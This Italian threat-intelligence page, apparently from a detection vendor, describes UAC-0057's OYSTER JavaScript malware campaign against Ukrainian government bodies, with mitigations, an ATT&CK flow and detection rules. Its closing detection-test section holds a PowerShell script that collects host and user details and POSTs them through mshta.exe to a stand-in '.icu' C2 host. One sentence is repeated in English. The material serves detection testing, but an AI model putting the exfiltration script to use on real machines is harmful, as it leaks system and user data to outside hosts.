UAC-0057 Aggiorna il Suo Toolkit con OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
CERT-UA ha segnalato una campagna di phishing mirata alle organizzazioni governative ucraine. Le email contengono allegati PDF che reindirizzano i destinatari ad archivi ZIP che trasportano file JavaScript dannosi noti come OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES. Una volta eseguito, il malware raccoglie informazioni di sistema e le invia tramite richieste HTTP POST, con l’opzione di recuperare successivamente un componente Cobalt Strike. L’infrastruttura di supporto è nascosta dietro Cloudflare e fa ampio uso di .icu domini.
Indagine
L’analisi di CERT-UA ha identificato i campioni di JavaScript dannosi, i metodi di decodifica su cui si basano, inclusi inversione di stringa, ROT13 e decodifica URL, e le modifiche al registro utilizzate per mantenere la persistenza. Gli investigatori hanno anche documentato diversi artefatti di file e percorsi Windows associati alla catena di infezione. L’analisi della rete ha collegato l’attività all’infrastruttura di hosting protetta da Cloudflare. Il rapporto osserva inoltre la possibile consegna successiva di un Cobalt Strike beacon. .icu hosting infrastructure. The report further notes the possible follow-on delivery of a Cobalt Strike beacon.
Mitigazione
Le organizzazioni dovrebbero limitare l’esecuzione di wscript.exe per gli utenti standard, limitare l’esecuzione di PowerShell e JavaScript e monitorare le chiavi Run del registro elencate per cambiamenti sospetti. Dovrebbe essere utilizzato il filtraggio web per bloccare .icu domini e, ove opportuno, gli intervalli IP correlati a Cloudflare associati alla campagna. I difensori dovrebbero anche applicare controlli di minimo privilegio e prevenire l’esecuzione automatica di binari sconosciuti.
Risposta
I team di sicurezza dovrebbero creare rilevamenti per i nomi di file identificati, le chiavi di registro e il traffico HTTP POST in uscita verso i domini noti. La caccia dovrebbe coprire anche il possibile payload Cobalt Strike, inclusi il CSBEACON DLL, e qualsiasi attività pianificata nominata MicrosoftEdgeUpdateTaskMachine. Le indagini sugli endpoint dovrebbero raccogliere alberi di processi per tracciare la catena di decodifica ed esecuzione di JavaScript.
graph TB %% Definizioni classi classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% Nodi action_phishing[“<b>Azione</b> – <b>T1566.001 Phishing</b><br/>Spearphishing con allegato: email con PDF malevolo contenente link a ZIP”] class action_phishing action action_user_exec[“<b>Azione</b> – <b>T1204.002 Esecuzione utente</b><br/>La vittima apre il PDF/ZIP ed esegue JavaScript OYSTERFRESH”] class action_user_exec action malware_oysterfresh[“<b>Malware</b> – OYSTERFRESH<br/>File JavaScript distribuito in ZIP, punto di ingresso dell’attacco”] class malware_oysterfresh malware action_obfuscate[“<b>Azione</b> – <b>T1027.008 Offuscamento</b><br/>Payload offuscato tramite inversione di stringhe, ROT13 e decodifica URL”] class action_obfuscate action malware_oysterblues[“<b>Malware</b> – OYSTERBLUES<br/>Scrive chiavi di registro e avvia componenti di persistenza”] class malware_oysterblues malware tool_wscript[“<b>Strumento</b> – wscript.exe<br/>Windows Script Host usato per eseguire componenti JavaScript aggiuntivi”] class tool_wscript tool action_proxy_exec[“<b>Azione</b> – <b>T1127 Esecuzione proxy</b><br/>Usa wscript.exe per eseguire OYSTERSHUCK e OYSTERBLUES”] class action_proxy_exec action action_persistence[“<b>Azione</b> – <b>T1547.014 Persistenza</b><br/>Crea chiavi HKCU Run per avviare MicrosoftEdgeUpdate.exe e EdgeApp.exe al login”] class action_persistence action action_discovery[“<b>Azione</b> – <b>T1057 Scoperta processi</b><br/>Raccoglie lista processi, nome computer, utente, versione OS e tempo di avvio”] class action_discovery action process_c2[“<b>Processo</b> – HTTP POST al server C2<br/>Invia informazioni di sistema raccolte”] class process_c2 process action_embedded_payload[“<b>Azione</b> – <b>T1027.009 Payload incorporato</b><br/>Beacon Cobalt Strike incorporato in JavaScript ed eseguito tramite eval”] class action_embedded_payload action malware_cobalt_strike[“<b>Malware</b> – Beacon Cobalt Strike<br/>Payload malevolo incorporato”] class malware_cobalt_strike malware %% Connessioni action_phishing –>|consegna| action_user_exec action_user_exec –>|attiva| malware_oysterfresh malware_oysterfresh –>|esegue| action_obfuscate action_obfuscate –>|crea| malware_oysterblues malware_oysterblues –>|usa| tool_wscript tool_wscript –>|abilita| action_proxy_exec action_proxy_exec –>|esegue| malware_oysterblues action_proxy_exec –>|esegue| malware_oysterfresh action_proxy_exec –>|esegue| malware_cobalt_strike action_persistence –>|stabilisce| process_c2 action_discovery –>|invia a| process_c2 action_embedded_payload –>|esegue| malware_cobalt_strike
Flusso di Attacco
Rilevamenti
Punti di Persistenza Possibili [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizza
Estensione File Sospetta Aggiunta alle Chiavi Run [ASEPs] (via registry_event)
Visualizza
Estrazione Archivio Direttamente dal Client di Posta (via process_creation)
Visualizza
Esecuzione da Archivio ZIP [7zip] (via process_creation)
Visualizza
Esecuzione da Archivio RAR [WinRAR] (via process_creation)
Visualizza
LOLBAS WScript / CScript (via process_creation)
Visualizza
LOLBAS RunDLL32 (via cmdline)
Visualizza
File Estratti Sospetti da un Archivio (via file_event)
Visualizza
Attività Pianificata Sospetta (via audit)
Visualizza
Controllo e Comando Sospetto tramite Richiesta DNS di Dominio di Primo Livello (TLD) Insolito (via dns)
Visualizza
IOC (HashSha256) da rilevare: Toolkit aggiornato UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES Parte 2
Visualizza
IOC (HashSha256) da rilevare: Toolkit aggiornato UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES Parte 1
Visualizza
IOC (HashSha1) da rilevare: Toolkit aggiornato UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES
Visualizza
IOC (HashMd5) da rilevare: Toolkit aggiornato UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES Parte 2
Visualizza
IOC (HashMd5) da rilevare: Toolkit aggiornato UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES Parte 1
Visualizza
IOC (SourceIP) da rilevare: Toolkit aggiornato UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES
Visualizza
IOC (DestinationIP) da rilevare: Toolkit aggiornato UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES
Visualizza
Rilevamento di Esfiltrazione OYSTERBLUES tramite HTTP POST a Domini .icu [Connessione di Rete Windows]
Visualizza
Rilevamento di Esecuzione JavaScript Dannoso tramite wscript.exe [Creazione del Processo Windows]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo di Prevolo della Telemetria e del Baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esatta esecuzione della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione riflettono direttamente le TTP identificate e producono l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrativa e Comandi dell’Attacco:
L’avversario utilizza un binario Windows firmato (mshta.exe) per eseguire un piccolo payload JavaScript che raccoglie informazioni di sistema e le esfiltra tramite un HTTP POST a un dominio “*.icu” malevolo controllato dal server C2. Questo approccio “living‑off‑the‑land” evita di sollevare allarmi AV mentre genera l’evento firewall esatto che la regola monitora (POST + “.icu”). -
Script di Test di Regressione:
# Simulazione di esfiltrazione in stile OYSTERBLUES # 1. Codifica informazioni di sistema minime in JSON $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. Scrivi un file HTML temporaneo che esegue un JS fetch POST $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. Esegui tramite mshta (esecuzione proxy binaria firmata) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. Dai tempo alla richiesta di completarsi, quindi pulisci Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
Comandi di Pulizia:
# Assicurati che qualsiasi processo mshta residuo sia terminato Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # Rimuovi eventuali file temporanei residui (se presenti) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }